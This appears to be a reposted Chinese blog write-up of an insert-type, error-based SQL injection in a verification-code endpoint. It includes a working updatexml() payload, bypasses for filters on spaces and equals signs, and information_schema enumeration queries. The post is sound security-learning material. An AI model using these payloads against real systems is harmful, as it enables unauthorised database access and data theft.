内容简介:Insert注入实例简单分析
注入分析
在工作时遇到一个注入,insert型的报错注入,比较典型,记录一下利用的思路。
URL参数部分如下: userId=724'&idCode=&phoneNum=138&cb=jsonp
可见基本上由三个参数构成,在 userID 和 phoneNum 参数后加单引号会直接报错,报错信息如下:
不过仅有上面两条报错信息分析不出来什么,还要继续试,单引号后再加参数fuzz一会,再加上此处的业务逻辑是发验证码,猜测此处有可能是Insert注入,再结合一个很关键的报错信息如下:
fuzz 参数phoneNum为 138','
:
这个报错信息很明显了,加了个逗号,告诉我参数数量是4,而应该是3,基本上可以确定为这里的 SQL 存储过程执行的是插入语句,且插入语句的大体结构可能如下:
insert into table values('userid', 'phoneNum', '')
结合报错信息来看,涉及到参数的语句在小括号外面还有一对单引号,故我们得出的此处参数如下: '('userId', 'phoneNum', '')'
这个结构可以解释之前所有的报错,所以基于这个结构构造注入语句试一试。
自然的构造如下的语句:
'('userId' or updatexml() or '','phoneNum', '')'
这样就可以执行updatexml()语句执行报错,故所需Payload只是把userId参数改掉,改成如上的格式就可以。还有一点坑的地方就是这个地方过滤了 等号 和 空格 ,所以采取一些过滤方式,比如/**/,%09,like等,就可以绕过过滤执行语句了。
注入过程
-
爆表的数量
userId=724'/**/or/**/updatexml(1,concat(0x7e,concat(0x7e,(select/**/count(*)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'spzh'/**/limit/**/0,1),0x7e),0x7e),0)/**/or'&idCode=&phoneNum=138&cb=jsonp
-
爆表名
select table_name from information_schema.tables where table_schema='库名'
-
爆列名
select column_name from information_schema.columns where table_name='表名'
后面爆数据不再赘述。可以写个简单的脚本,很快就能爆出想要的数据了。
简单总结
主要是对于sql语句的猜测,此处结合了业务和报错做的一些分析,第一次遇到这个场景,没有猜到是insert注入之前很纳闷这个语句是什么情况,想到是insert注入之后很多奇怪报错现象就迎刃而解了。所以在注入过程中还是要多联系业务场景,遇到问题采用排除法仔细排查。
以上所述就是小编给大家介绍的《Insert注入实例简单分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Spring依赖注入的三种方式实例详解
- Spring IOC的核心机制:实例化与注入
- Spring源码分析(二)bean的实例化和IOC依赖注入
- thinkphp高危漏洞修复--因控制器任意实例化产生的注入漏洞
- Angular 4 依赖注入教程之二 组件中注入服务
- 服务端注入之Flask框架中服务端模板注入问题
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Python Data Structures and Algorithms
Benjamin Baka / Packt Publishing / 2017-5-30 / USD 44.99
Key Features A step by step guide, which will provide you with a thorough discussion on the analysis and design of fundamental Python data structures.Get a better understanding of advanced Python c......一起来看看 《Python Data Structures and Algorithms》 这本书的介绍吧!